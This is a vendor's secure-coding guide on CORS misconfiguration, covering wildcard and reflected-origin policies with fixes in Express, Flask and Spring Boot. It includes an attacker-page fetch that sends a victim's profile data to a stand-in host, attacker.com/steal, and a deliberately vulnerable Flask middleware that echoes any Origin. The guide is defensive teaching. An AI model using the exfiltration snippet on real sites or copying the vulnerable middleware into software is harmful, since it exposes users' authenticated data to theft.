Access-Control-Allow-Origin: * is one of the most common security misconfigurations in web APIs. It appears harmless — it just lets browsers load resources from your server cross-origin, right? In reality, a wildcard CORS policy on an API that handles authenticated requests is a serious vulnerability that can be exploited to steal data from your users.
This guide explains exactly what the CORS wildcard header does, when it’s dangerous, and how to configure CORS correctly.
What CORS Is and Why It Exists
The Same-Origin Policy (SOP) is a browser security mechanism that prevents JavaScript on evil.com from reading responses from api.yourbank.com. Without it, any website could silently make authenticated API requests using your logged-in session cookies and read the results.
CORS (Cross-Origin Resource Sharing) is the controlled relaxation of the Same-Origin Policy. When your server sends Access-Control-Allow-Origin: https://yourapp.com, it tells browsers: “JavaScript from this specific origin is allowed to read our responses.”
The wildcard * tells browsers: “JavaScript from any origin may read our responses.”
When Access-Control-Allow-Origin: * Is Acceptable
The wildcard is appropriate in exactly one scenario: public, unauthenticated resources — content that you explicitly want any website or application to be able to fetch.
Legitimate uses:
- Public CDN assets (fonts, scripts, images)
- Open data APIs with no authentication
- Public documentation APIs
- Publicly readable datasets
If your endpoint requires any form of authentication — session cookies, JWT tokens, API keys — the wildcard is not safe.
When Access-Control-Allow-Origin: * Is Dangerous
The wildcard is dangerous when it appears on endpoints that:
- Return user-specific data (profile info, account details, transaction history)
- Require authentication (session cookies, bearer tokens)
- Perform state-changing operations (POST, PUT, DELETE requests)
- Return sensitive internal data (configuration, admin information)
The Attack: Cross-Site Data Theft
Here is how an attacker exploits a wildcard CORS policy on an authenticated API:
1. Victim visits the attacker’s page
The victim is logged into api.yoursite.com — they have a valid session cookie in their browser.
2. Attacker’s page makes a cross-origin request
// Running on attacker.com
fetch('https://api.yoursite.com/user/profile', {
credentials: 'include', // Send the victim's session cookies
})
.then(r => r.json())
.then(data => {
// Attacker receives the victim's profile data
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
3. Result
If api.yoursite.com responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, the browser delivers the authenticated response to the attacker’s script.
Note: Browsers actually block
Access-Control-Allow-Origin: *combined withAccess-Control-Allow-Credentials: true. This is a browser-level protection. However, a wildcard origin alone is still dangerous for any data returned to unauthenticated requests, and many applications implement “reflected origin” CORS (see below) that is far more dangerous.
The Worse Problem: Reflected Origin CORS Misconfiguration
Many applications dynamically reflect the request’s Origin header back without validating it:
# VULNERABLE — reflects any Origin back
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin: # ← No validation at all
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
This is functionally equivalent to Access-Control-Allow-Origin: * but also allows credentialed requests — the worst of both worlds. Any site can make authenticated cross-origin requests and read the responses.
This pattern is often introduced when developers try to “fix” a CORS error without understanding the security implications.
Knowledge Base Reference
The CORSAllowOriginWildcard rule in the Offensive360 Knowledge Base covers this vulnerability. It maps to:
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP A05:2021 — Security Misconfiguration
- OWASP API Security API8 — Security Misconfiguration
Offensive360 SAST detects this pattern statically — scanning for wildcard Access-Control-Allow-Origin values and reflected-origin patterns in your middleware configuration code.
How to Configure CORS Correctly
Option 1: Explicit Origin Allowlist (Recommended)
// Node.js / Express
const allowedOrigins = [
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://staging.yourcompany.com', // Include staging if needed
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Required when origin varies
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.setHeader(
'Access-Control-Allow-Headers',
'Content-Type, Authorization, X-Requested-With'
);
}
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
});
# Python / Flask with flask-cors
from flask_cors import CORS
CORS(app, origins=[
'https://app.yourcompany.com',
'https://yourcompany.com',
], supports_credentials=True)
// Spring Boot — CorsConfigurationSource bean
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of(
"https://app.yourcompany.com",
"https://yourcompany.com"
));
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
config.setAllowCredentials(true);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", config);
return source;
}
Option 2: Wildcard with No Credentials (for Truly Public APIs)
If you have a public API where a wildcard is genuinely appropriate:
Access-Control-Allow-Origin: *
# Do NOT add: Access-Control-Allow-Credentials: true
# Do NOT add: Access-Control-Allow-Headers: Authorization
Without Allow-Credentials: true, the browser will not send cookies or Authorization headers with the cross-origin request — making data theft impossible even with the wildcard.
The Vary: Origin Header
When you implement a dynamic origin allowlist, always include Vary: Origin in responses:
Access-Control-Allow-Origin: https://app.yourcompany.com
Vary: Origin
This tells CDNs and reverse proxies that the CORS response varies by the Origin header, preventing a cached Access-Control-Allow-Origin: https://app.yourcompany.com response from being served to a different origin.
Missing Vary: Origin with dynamic origin reflection can cause incorrect CORS headers to be served from cache.
Testing Your CORS Configuration
Use curl to verify your CORS headers:
# Test for wildcard response
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-I https://api.yoursite.com/user/profile
# Check the response for:
# Access-Control-Allow-Origin: * (bad on authenticated endpoints)
# Access-Control-Allow-Origin: https://evil.com (reflected origin — very bad)
# Access-Control-Allow-Credentials: true (check if paired with wildcard)
A safe response on an authenticated endpoint should either:
- Return no
Access-Control-Allow-Originheader (for unrecognized origins) - Return
Access-Control-Allow-Origin: https://your-legitimate-origin.com(your specific allowlist)
CORS Wildcard in Single-Page Applications
SPAs (React, Angular, Vue) often introduce CORS wildcard policies during development because the frontend and backend run on different ports (localhost:3000 vs localhost:8080). The common mistake is carrying these development CORS settings into production.
Development configuration (acceptable locally):
// dev only — do NOT deploy this
app.use(cors({ origin: '*' }));
Production configuration:
// Environment-aware CORS
const allowedOrigins = process.env.NODE_ENV === 'production'
? ['https://app.yourcompany.com']
: ['http://localhost:3000', 'http://localhost:5173'];
app.use(cors({
origin: allowedOrigins,
credentials: true,
}));
Use environment variables to switch CORS policies between development and production, and ensure your CI/CD pipeline deploys the production configuration.
Summary: Is Your CORS Configuration Safe?
| Configuration | Authenticated Endpoints | Public Endpoints |
|---|---|---|
Access-Control-Allow-Origin: * | ❌ Dangerous | ✅ Acceptable |
Access-Control-Allow-Origin: * + Allow-Credentials: true | ❌ Blocked by browsers (but don’t rely on this) | ❌ Contradictory |
| Reflected origin (any origin echoed back) | ❌ Critical vulnerability | ❌ Dangerous |
Explicit allowlist + Allow-Credentials: true | ✅ Correct | ✅ Correct |
No Access-Control-Allow-Origin header | ✅ Correct (blocks all cross-origin reads) | ❌ Breaks legitimate use |
Rule of thumb: If the endpoint requires authentication, or returns user-specific data, use an explicit origin allowlist — never a wildcard.
Offensive360 SAST automatically detects wildcard CORS configurations and reflected-origin patterns in your source code. Scan your code or browse the Knowledge Base for more vulnerability references.